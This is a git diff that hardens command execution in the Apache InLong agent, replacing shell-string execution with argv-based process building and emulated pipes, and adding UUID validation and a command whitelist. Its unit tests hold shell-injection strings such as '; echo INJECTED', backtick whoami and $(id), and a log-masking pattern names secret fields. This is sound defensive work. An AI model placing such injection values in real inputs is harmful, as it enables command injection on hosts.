diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java index 01c1567726a..533de4c95c8 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java @@ -37,6 +37,7 @@ import java.text.SimpleDateFormat; import java.time.ZonedDateTime; import java.time.format.DateTimeFormatter; +import java.util.Arrays; import java.util.HashMap; import java.util.Locale; import java.util.Map; @@ -314,6 +315,9 @@ public static String fetchLocalIp() { return AgentConfiguration.getAgentConf().get(AgentConstants.AGENT_LOCAL_IP, getLocalIp()); } + private static final String UUID_REGEX = + "^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$"; + /** * Check agent uuid from manager */ @@ -329,15 +333,36 @@ public static String fetchLocalUuid() { uuid = localUuid; return uuid; } - String result = ExcuteLinux.exeCmd("dmidecode | grep UUID"); - if (StringUtils.isNotEmpty(result) - && StringUtils.containsIgnoreCase(result, "UUID")) { - uuid = result.split(":")[1].trim(); - return uuid; + String result = ExecuteLinux.exeCmd(new String[]{"dmidecode", "-s", "system-uuid"}); + if (StringUtils.isNotEmpty(result)) { + result = result.trim(); + if (result.matches(UUID_REGEX)) { + return result; + } } } catch (Exception e) { LOGGER.error("fetch uuid error", e); } + + try { + String result = ExecuteLinux.exePipedCmd( + Arrays.asList( + new String[]{"dmidecode"}, + new String[]{"grep", "UUID"}), + null, 0); + if (StringUtils.isNotEmpty(result) && StringUtils.containsIgnoreCase(result, "UUID")) { + String[] parts = result.split(":"); + if (parts.length >= 2) { + String fallbackUuid = parts[1].trim(); + if (fallbackUuid.matches(UUID_REGEX)) { + return fallbackUuid; + } + } + } + } catch (Exception e) { + LOGGER.warn("dmidecode | grep UUID failed", e); + } + return uuid; } diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java deleted file mode 100644 index 8d9c0e23a58..00000000000 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package org.apache.inlong.agent.utils; - -import java.io.BufferedReader; -import java.io.InputStreamReader; - -/** - * ExecuteLinux cmd - */ -public class ExcuteLinux { - - /** - * execute linux cmd - * - * @param commandStr cmd - * @return result of execution - */ - public static String exeCmd(String commandStr) { - - String result = null; - try { - String[] cmd = new String[]{"/bin/sh", "-c", commandStr}; - Process ps = Runtime.getRuntime().exec(cmd); - - BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream())); - StringBuffer sb = new StringBuffer(); - String line; - while ((line = br.readLine()) != null) { - sb.append(line).append("\n"); - } - result = sb.toString(); - - } catch (Exception e) { - e.printStackTrace(); - } - - return result; - - } -} \ No newline at end of file diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java new file mode 100644 index 00000000000..e90418bdf84 --- /dev/null +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java @@ -0,0 +1,393 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.utils; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +/** + * Utility for executing local OS commands. + * + *

{@link #exeCmd(String[])}, {@link #exeCmd(List, File, long)} and + * {@link #exePipedCmd(List, File, long)} are the recommended argv-array / piped entry points. + * They use {@link ProcessBuilder} directly and never go through {@code /bin/sh -c}, so shell + * metacharacters ({@code ;}, {@code |}, {@code &&}, backticks, {@code $(...)}) are never + * interpreted.

+ * + *

{@link #exeCmd(String)} is a legacy string-based fallback that runs commands through + * {@code /bin/sh -c}; it is {@link Deprecated} and must only be used with strings already + * validated by {@code ModuleCommandValidator}.

+ * + *

Piping is emulated by chaining several {@link ProcessBuilder} instances via background + * threads that copy stdout to the next process's stdin, so no shell is required.

+ */ +public class ExecuteLinux { + + private static final Logger logger = LoggerFactory.getLogger(ExecuteLinux.class); + + /** Default command execution timeout in milliseconds. */ + public static final long DEFAULT_TIMEOUT_MS = 60_000L; + + /** Maximum number of bytes of stderr kept in log output (truncated beyond this). */ + private static final int STDERR_LOG_MAX_BYTES = 1024; + + private ExecuteLinux() { + } + + /** + * Execute a command using an argv array (no shell), inheriting the JVM working directory + * and using {@link #DEFAULT_TIMEOUT_MS} as the timeout. + * + * @param cmdArgs argv, {@code cmdArgs[0]} is the executable name. + * @return stdout of the child process; {@code null} on error or timeout. + */ + public static String exeCmd(String[] cmdArgs) { + if (cmdArgs == null || cmdArgs.length == 0) { + logger.error("exeCmd(String[]) called with empty cmdArgs"); + return null; + } + return exeCmd(Arrays.asList(cmdArgs), null, DEFAULT_TIMEOUT_MS); + } + + /** + * Execute a command using an argv list (no shell), with an optional working directory and + * timeout. Every element in {@code cmdArgs} is passed to the child as a literal argv + * entry; shell metacharacters are never interpreted. If the child does not finish within + * {@code timeoutMs} it is force-killed via {@link Process#destroyForcibly()}. + * + * @param cmdArgs argv list, index 0 is the executable name. + * @param workDir working directory of the child; {@code null} means inherit. + * @param timeoutMs timeout in milliseconds; a value <= 0 means {@link #DEFAULT_TIMEOUT_MS}. + * @return stdout of the child; {@code null} on non-zero exit, error or timeout. + */ + public static String exeCmd(List cmdArgs, File workDir, long timeoutMs) { + if (cmdArgs == null || cmdArgs.isEmpty()) { + logger.error("exeCmd(List) called with empty cmdArgs"); + return null; + } + long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS; + Process ps = null; + try { + ProcessBuilder pb = new ProcessBuilder(cmdArgs); + if (workDir != null) { + pb.directory(workDir); + } + pb.redirectErrorStream(false); + long startNs = System.nanoTime(); + ps = pb.start(); + + // Drain stdout/stderr on background threads to prevent the child from blocking + // when either pipe buffer fills up. + StreamGobbler stdoutGobbler = new StreamGobbler(ps.getInputStream(), "stdout-" + cmdArgs.get(0)); + StreamGobbler stderrGobbler = new StreamGobbler(ps.getErrorStream(), "stderr-" + cmdArgs.get(0)); + stdoutGobbler.start(); + stderrGobbler.start(); + + boolean finished = ps.waitFor(timeout, TimeUnit.MILLISECONDS); + if (!finished) { + ps.destroyForcibly(); + ps.waitFor(1, TimeUnit.SECONDS); + logger.error("exeCmd timeout after {} ms, cmd={}", timeout, cmdArgs); + stdoutGobbler.join(1000); + stderrGobbler.join(1000); + closeQuietly(ps); + return null; + } + stdoutGobbler.join(1000); + stderrGobbler.join(1000); + + int exitCode = ps.exitValue(); + long costMs = (System.nanoTime() - startNs) / 1_000_000L; + String stdout = stdoutGobbler.getResult(); + String stderr = stderrGobbler.getResult(); + + if (exitCode == 0) { + if (logger.isDebugEnabled()) { + logger.debug("exeCmd success cmd={} exit=0 costMs={}", cmdArgs, costMs); + } + return stdout; + } else { + logger.error("exeCmd non-zero exit cmd={} exitCode={} costMs={} stderr={}", + cmdArgs, exitCode, costMs, truncate(stderr, STDERR_LOG_MAX_BYTES)); + return null; + } + } catch (Exception e) { + logger.error("exeCmd error cmd={}", cmdArgs, e); + return null; + } finally { + if (ps != null) { + closeQuietly(ps); + } + } + } + + /** + * Emulate a shell pipe {@code |} by chaining several {@link ProcessBuilder} instances on + * the Java side, without going through {@code /bin/sh -c}. Each segment is started as its + * own child; a background thread copies the stdout of every upstream child into the + * stdin of the next downstream child; the stdout of the last segment is returned. + * + * @param argvSegments argv of each pipe segment, e.g. + * {@code [["ps","aux"], ["grep","java"], ["awk","{print $2}"]]}. + * @param workDir shared working directory for every segment; {@code null} inherits. + * @param timeoutMs total timeout for the whole pipeline in milliseconds; <= 0 means default. + * @return stdout of the last segment; {@code null} on error or timeout. + */ + public static String exePipedCmd(List argvSegments, File workDir, long timeoutMs) { + if (argvSegments == null || argvSegments.isEmpty()) { + logger.error("exePipedCmd called with empty argvSegments"); + return null; + } + if (argvSegments.size() == 1) { + return exeCmd(Arrays.asList(argvSegments.get(0)), workDir, timeoutMs); + } + long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS; + List processes = new ArrayList<>(argvSegments.size()); + List pumpers = new ArrayList<>(argvSegments.size() - 1); + List stderrGobblers = new ArrayList<>(argvSegments.size()); + StreamGobbler tailStdoutGobbler = null; + try { + for (int i = 0; i < argvSegments.size(); i++) { + String[] argv = argvSegments.get(i); + if (argv == null || argv.length == 0) { + logger.error("exePipedCmd segment[{}] is empty", i); + return null; + } + ProcessBuilder pb = new ProcessBuilder(argv); + if (workDir != null) { + pb.directory(workDir); + } + pb.redirectErrorStream(false); + Process p = pb.start(); + processes.add(p); + stderrGobblers.add(new StreamGobbler(p.getErrorStream(), "stderr-piped-" + argv[0])); + stderrGobblers.get(i).start(); + } + // Chain adjacent segments: upstream stdout -> downstream stdin. + for (int i = 0; i < processes.size() - 1; i++) { + Process upstream = processes.get(i); + Process downstream = processes.get(i + 1); + Thread pump = new Thread(new StreamPump(upstream.getInputStream(), downstream.getOutputStream()), + "pipe-pump-" + i); + pump.setDaemon(true); + pump.start(); + pumpers.add(pump); + } + Process tail = processes.get(processes.size() - 1); + tailStdoutGobbler = new StreamGobbler(tail.getInputStream(), "stdout-piped-tail"); + tailStdoutGobbler.start(); + + long deadline = System.currentTimeMillis() + timeout; + for (Process p : processes) { + long remain = deadline - System.currentTimeMillis(); + if (remain <= 0) { + logger.error("exePipedCmd timeout, argvSegments={}", argvSegmentsToString(argvSegments)); + return null; + } + if (!p.waitFor(remain, TimeUnit.MILLISECONDS)) { + logger.error("exePipedCmd timeout at one segment, argvSegments={}", + argvSegmentsToString(argvSegments)); + return null; + } + } + for (Thread pump : pumpers) { + pump.join(1000); + } + tailStdoutGobbler.join(1000); + for (StreamGobbler g : stderrGobblers) { + g.join(1000); + } + + int tailExit = tail.exitValue(); + if (tailExit != 0) { + logger.error("exePipedCmd tail non-zero exit={} stderr={}", tailExit, + truncate(stderrGobblers.get(stderrGobblers.size() - 1).getResult(), STDERR_LOG_MAX_BYTES)); + return null; + } + return tailStdoutGobbler.getResult(); + } catch (Exception e) { + logger.error("exePipedCmd error argvSegments={}", argvSegmentsToString(argvSegments), e); + return null; + } finally { + // Force-kill every child on any error/timeout path so we never leak zombies or fds. + for (Process p : processes) { + try { + if (p != null && p.isAlive()) { + p.destroyForcibly(); + } + } catch (Exception ignore) { + } + closeQuietly(p); + } + } + } + + /** + * Legacy string-based command entry point that runs the given command through + * {@code /bin/sh -c}. Vulnerable to shell injection. Kept only as a fallback for + * strings already validated by {@code ModuleCommandValidator}. New business code must + * use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, File, long)} instead. + * + * @param commandStr a command string that has already been validated. + * @return stdout of the child process; {@code null} on error. + * @deprecated use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, File, long)}. + */ + @Deprecated + public static String exeCmd(String commandStr) { + String result = null; + try { + String[] cmd = new String[]{"/bin/sh", "-c", commandStr}; + Process ps = Runtime.getRuntime().exec(cmd); + + BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream(), + StandardCharsets.UTF_8)); + StringBuilder sb = new StringBuilder(); + String line; + while ((line = br.readLine()) != null) { + sb.append(line).append("\n"); + } + result = sb.toString(); + + } catch (Exception e) { + logger.error("execute linux cmd error: ", e); + } + + return result; + } + + // ------------------------------------------------------------------------- + // internal helpers + // ------------------------------------------------------------------------- + + private static void closeQuietly(Process ps) { + if (ps == null) { + return; + } + closeQuietly(ps.getInputStream()); + closeQuietly(ps.getErrorStream()); + closeQuietly(ps.getOutputStream()); + } + + private static void closeQuietly(java.io.Closeable c) { + if (c == null) { + return; + } + try { + c.close(); + } catch (IOException ignore) { + } + } + + private static String truncate(String s, int maxBytes) { + if (s == null) { + return ""; + } + byte[] bytes = s.getBytes(StandardCharsets.UTF_8); + if (bytes.length <= maxBytes) { + return s; + } + return new String(bytes, 0, maxBytes, StandardCharsets.UTF_8) + "...(truncated)"; + } + + private static String argvSegmentsToString(List segs) { + List> readable = new ArrayList<>(segs.size()); + for (String[] seg : segs) { + readable.add(seg == null ? Collections.emptyList() : Arrays.asList(seg)); + } + return readable.toString(); + } + + /** Daemon thread that fully drains an {@link InputStream} into memory. */ + private static final class StreamGobbler extends Thread { + + private final InputStream in; + private final AtomicReference resultRef = new AtomicReference<>(""); + + StreamGobbler(InputStream in, String threadName) { + super(threadName); + this.in = in; + setDaemon(true); + } + + @Override + public void run() { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buf = new byte[4096]; + int n; + try { + while ((n = in.read(buf)) != -1) { + baos.write(buf, 0, n); + } + resultRef.set(new String(baos.toByteArray(), StandardCharsets.UTF_8)); + } catch (IOException e) { + // Reading may throw once the child has been destroyed; treat as end of stream. + resultRef.set(new String(baos.toByteArray(), StandardCharsets.UTF_8)); + } finally { + closeQuietly(in); + } + } + + String getResult() { + return resultRef.get(); + } + } + + /** Daemon thread that copies stdout of an upstream process into stdin of a downstream one. */ + private static final class StreamPump implements Runnable { + + private final InputStream in; + private final OutputStream out; + + StreamPump(InputStream in, OutputStream out) { + this.in = in; + this.out = out; + } + + @Override + public void run() { + byte[] buf = new byte[4096]; + int n; + try { + while ((n = in.read(buf)) != -1) { + out.write(buf, 0, n); + } + out.flush(); + } catch (IOException ignore) { + // Downstream process may have exited; treat as end of pipe. + } finally { + closeQuietly(in); + closeQuietly(out); + } + } + } +} \ No newline at end of file diff --git a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java index 2987ca88fec..ece3c023e87 100755 --- a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java +++ b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java @@ -98,4 +98,35 @@ public void testCustomFixedIp() { String ip = AgentUtils.fetchLocalIp(); Assert.assertNotEquals("127.0.0.1", ip); } -} + + @Test + public void testUuidRegex() throws Exception { + java.lang.reflect.Field field = AgentUtils.class.getDeclaredField("UUID_REGEX"); + field.setAccessible(true); + String regex = (String) field.get(null); + + // valid standard UUIDs (mixed case) + Assert.assertTrue("standard lowercase should match", + java.util.regex.Pattern.matches(regex, "25a76f3a-f83c-49af-8bd8-f921d1887dcf")); + Assert.assertTrue("standard uppercase should match", + java.util.regex.Pattern.matches(regex, "550E8400-E29B-41D4-A716-446655440000")); + Assert.assertTrue("mixed case should match", + java.util.regex.Pattern.matches(regex, "550e8400-E29b-41d4-a716-446655440000")); + + // invalid cases + Assert.assertFalse("empty string should not match", + java.util.regex.Pattern.matches(regex, "")); + Assert.assertFalse("plain string should not match", + java.util.regex.Pattern.matches(regex, "not-a-uuid")); + Assert.assertFalse("too short should not match", + java.util.regex.Pattern.matches(regex, "550e8400-e29b-41d4-a716-44665544")); + Assert.assertFalse("missing hyphens should not match", + java.util.regex.Pattern.matches(regex, "550e8400e29b41d4a716446655440000")); + Assert.assertFalse("extra segment should not match", + java.util.regex.Pattern.matches(regex, "25a76f3a-f83c-49af-8bd8-f921d1887dcf-extra")); + Assert.assertFalse("non-hex chars should not match", + java.util.regex.Pattern.matches(regex, "550e8g00-e29b-41d4-a716-446655440000")); + Assert.assertFalse("newline prefix should not match", + java.util.regex.Pattern.matches(regex, "\n550e8400-e29b-41d4-a716-446655440000")); + } +} \ No newline at end of file diff --git a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java new file mode 100644 index 00000000000..a177000e6eb --- /dev/null +++ b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java @@ -0,0 +1,191 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.utils; + +import org.junit.Assert; +import org.junit.Assume; +import org.junit.BeforeClass; +import org.junit.Test; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +/* Unit tests for {@link ExecuteLinux}, focused on exePipedCmd. Requires Unix-like OS. */ +public class ExecuteLinuxTest { + + @BeforeClass + public static void assumeUnix() { + String os = System.getProperty("os.name").toLowerCase(); + Assume.assumeFalse("skip on Windows", os.contains("win")); + } + + /* ---------------- exePipedCmd: normal cases ---------------- */ + + @Test + public void pipedCmd_twoSegments_shouldStreamStdoutIntoNextStdin() { + List segments = Arrays.asList( + new String[]{"printf", "a\nb\nc\n"}, + new String[]{"grep", "b"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue("should contain matched line, got=" + out, out.contains("b")); + Assert.assertFalse("should not contain unmatched, got=" + out, out.contains("a")); + } + + @Test + public void pipedCmd_threeSegments_shouldChainCorrectly() { + List segments = Arrays.asList( + new String[]{"printf", "apple\nbanana\napricot\n"}, + new String[]{"grep", "ap"}, + new String[]{"wc", "-l"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertEquals("2", out.trim()); + } + + @Test + public void pipedCmd_largeOutput_shouldNotDeadlockNorTruncate() { + /* yes + head + wc: verifies pipe buffer never deadlocks with large stream */ + List segments = Arrays.asList( + new String[]{"yes", "x"}, + new String[]{"head", "-n", "2000"}, + new String[]{"wc", "-l"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertEquals("2000", out.trim()); + } + + @Test + public void pipedCmd_singleSegment_shouldFallbackToPlainExec() { + String out = ExecuteLinux.exePipedCmd( + Collections.singletonList(new String[]{"echo", "single"}), + null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("single")); + } + + /* ---------------- exePipedCmd: error / edge cases ---------------- */ + + @Test + public void pipedCmd_emptyOrNullSegments_shouldReturnNull() { + Assert.assertNull(ExecuteLinux.exePipedCmd(Collections.emptyList(), null, 1000L)); + Assert.assertNull(ExecuteLinux.exePipedCmd(null, null, 1000L)); + } + + @Test + public void pipedCmd_segmentWithEmptyArgv_shouldReturnNull() { + List segments = Arrays.asList( + new String[]{"echo", "hello"}, + new String[0]); + Assert.assertNull(ExecuteLinux.exePipedCmd(segments, null, 5000L)); + } + + @Test + public void pipedCmd_tailNonZeroExit_shouldReturnNull() { + /* grep with no match exits 1 -> tail exit non-zero -> null */ + List segments = Arrays.asList( + new String[]{"echo", "hello"}, + new String[]{"grep", "nonexistent"}); + String out = ExecuteLinux.exePipedCmd(segments, null, 5000L); + Assert.assertNull("tail non-zero exit must return null", out); + } + + @Test + public void pipedCmd_timeout_shouldReturnNullAndNotHang() { + List segments = Arrays.asList( + new String[]{"sleep", "30"}, + new String[]{"cat"}); + long begin = System.currentTimeMillis(); + String out = ExecuteLinux.exePipedCmd(segments, null, 500L); + long cost = System.currentTimeMillis() - begin; + Assert.assertNull("timeout should return null", out); + Assert.assertTrue("should finish < 3s, actual=" + cost + "ms", cost < 3000L); + } + + /* ---------------- exePipedCmd: security — metachars stay literal (no shell) ---------------- */ + + @Test + public void pipedCmd_semicolonInGrepPattern_shouldStayLiteralRegex() { + List segments = Arrays.asList( + new String[]{"printf", "prefix-AgentMain; echo INJECTED-suffix\nother\n"}, + new String[]{"grep", "AgentMain; echo INJECTED"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull("grep must match literal pattern (exit 0)", out); + Assert.assertTrue("output must contain matched line", out.contains("AgentMain; echo INJECTED")); + Assert.assertFalse("unmatched lines must be absent", out.contains("other")); + } + + @Test + public void pipedCmd_backtickInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "marker-`whoami`-suffix\n"}, + new String[]{"grep", "`whoami`"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("`whoami`")); + } + + @Test + public void pipedCmd_dollarParenInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "prefix-$(id)-suffix\n"}, + new String[]{"grep", "$(id)"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("$(id)")); + } + + @Test + public void pipedCmd_doubleAmpersandInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "marker-&&-suffix\n"}, + new String[]{"grep", "&&"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("&&")); + } + + @Test + public void pipedCmd_pipeCharInGrepPattern_shouldBeRegexAlternation() { + /* "|" inside pattern acts as regex alternation, not a new pipe segment */ + List segments = Arrays.asList( + new String[]{"printf", "foo\nbar\nbaz\n"}, + new String[]{"grep", "-E", "foo|bar"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("foo")); + Assert.assertTrue(out.contains("bar")); + Assert.assertFalse(out.contains("baz")); + } + + /* ---------------- exeCmd(String[]): minimal sanity (non-deprecated) ---------------- */ + + @Test + public void arrayCmd_echo_shouldReturnStdout() { + String out = ExecuteLinux.exeCmd(new String[]{"echo", "hello-world"}); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("hello-world")); + } + + @Test + public void arrayCmd_emptyArgs_shouldReturnNull() { + Assert.assertNull(ExecuteLinux.exeCmd((String[]) null)); + Assert.assertNull(ExecuteLinux.exeCmd(new String[]{})); + } +} \ No newline at end of file diff --git a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java index 314fe5e669b..b3a7a69adc6 100644 --- a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java +++ b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java @@ -23,7 +23,7 @@ import org.apache.inlong.agent.core.task.TaskManager; import org.apache.inlong.agent.metrics.audit.AuditUtils; import org.apache.inlong.agent.utils.AgentUtils; -import org.apache.inlong.agent.utils.ExcuteLinux; +import org.apache.inlong.agent.utils.ExecuteLinux; import org.apache.inlong.sdk.dataproxy.common.ProcessResult; import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpEventInfo; import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpMsgSender; @@ -140,7 +140,12 @@ public String getFieldsString() { public static AtomicLong sendDataLen = new AtomicLong(); public static AtomicLong sendPackageCount = new AtomicLong(); private String processStartupTime = format.format(runtimeMXBean.getStartTime()); - private String systemStartupTime = ExcuteLinux.exeCmd("uptime -s").replaceAll("\r|\n", ""); + private String systemStartupTime = safeUptime(); + + private static String safeUptime() { + String r = ExecuteLinux.exeCmd(new String[]{"uptime", "-s"}); + return r == null ? "" : r.replaceAll("\r|\n", ""); + } private AgentStatusManager(AgentManager agentManager) { this.conf = AgentConfiguration.getAgentConf(); diff --git a/inlong-agent/agent-installer/conf/installer.properties b/inlong-agent/agent-installer/conf/installer.properties index aed969cb094..7a230558a88 100755 --- a/inlong-agent/agent-installer/conf/installer.properties +++ b/inlong-agent/agent-installer/conf/installer.properties @@ -38,4 +38,29 @@ agent.cluster.name=default_agent # audit config ############################ # whether to enable audit -audit.enable=true \ No newline at end of file +audit.enable=true + +############################ +# command security: extra allowed root directories +# Write commands (rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip) can only operate +# on paths within built-in roots: $user.home/inlong, $user.home/inlong-agent, +# agent.home, $java.io.tmpdir. Append comma-separated paths for custom deployments. +# installer.command.extraAllowedRoots=/opt/inlong,/data/inlong +############################ + +############################ +# command security: extra argv[0] whitelist commands +# Built-in whitelist: cd, sh, bash, ps, grep, awk, kill, rm, mkdir, cp, mv, ln, tar, +# unzip, chmod, chown, echo, cat, test, [, true, false, java. +# Append comma-separated command names. Entries with whitespace, path separators, or +# shell metacharacters (; | & > < $ ` / \) are rejected with a WARN. +# installer.command.extraCommandWhitelist=nohup,python3 +############################ + +############################ +# command security: extra write-like commands subject to allowed-root checks +# Built-in set: rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip. +# Append comma-separated command names. The command must also be present in the +# whitelist (built-in + extra); otherwise only a WARN is logged and the check is +# skipped. +# installer.command.extraWriteLikeCommands=dd,truncate \ No newline at end of file diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java index cae8b25f688..5ba7df075d6 100755 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java @@ -20,9 +20,13 @@ import org.apache.inlong.agent.common.AbstractDaemon; import org.apache.inlong.agent.constant.AgentConstants; import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; import org.apache.inlong.agent.metrics.audit.AuditUtils; import org.apache.inlong.agent.utils.AgentUtils; -import org.apache.inlong.agent.utils.ExcuteLinux; +import org.apache.inlong.agent.utils.ExecuteLinux; import org.apache.inlong.agent.utils.HttpManager; import org.apache.inlong.agent.utils.ThreadUtils; import org.apache.inlong.common.pojo.agent.installer.ConfigResult; @@ -53,12 +57,14 @@ import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.concurrent.BlockingQueue; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.LinkedBlockingQueue; +import java.util.regex.Pattern; import java.util.stream.Collectors; import static org.apache.inlong.agent.constant.FetcherConstants.AGENT_MANAGER_ADDR; @@ -81,6 +87,10 @@ public class ModuleManager extends AbstractDaemon { private static final Logger LOGGER = LoggerFactory.getLogger(ModuleManager.class); public static final int MAX_MODULE_SIZE = 10; public static final int CHECK_PROCESS_TIMES = 20; + /** Sensitive-word masking pattern; a defensive net that keeps sensitive fields out of + * command logs even if a future config path leaks them. */ + private static final Pattern SENSITIVE_PATTERN = Pattern.compile( + "(?i)(password|secret|token|key)\\s*[=:]\\s*\\S+"); private final InstallerConfiguration conf; private final String confPath; private final BlockingQueue configQueue; @@ -90,11 +100,13 @@ public class ModuleManager extends AbstractDaemon { private static final GsonBuilder gsonBuilder = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss"); private static final Gson GSON = gsonBuilder.create(); private HttpManager httpManager; + private final ModuleCommandValidator commandValidator; public ModuleManager() { conf = InstallerConfiguration.getInstallerConf(); confPath = conf.get(AgentConstants.AGENT_HOME, AgentConstants.DEFAULT_AGENT_HOME) + "/conf/"; configQueue = new LinkedBlockingQueue<>(CONFIG_QUEUE_CAPACITY); + commandValidator = new 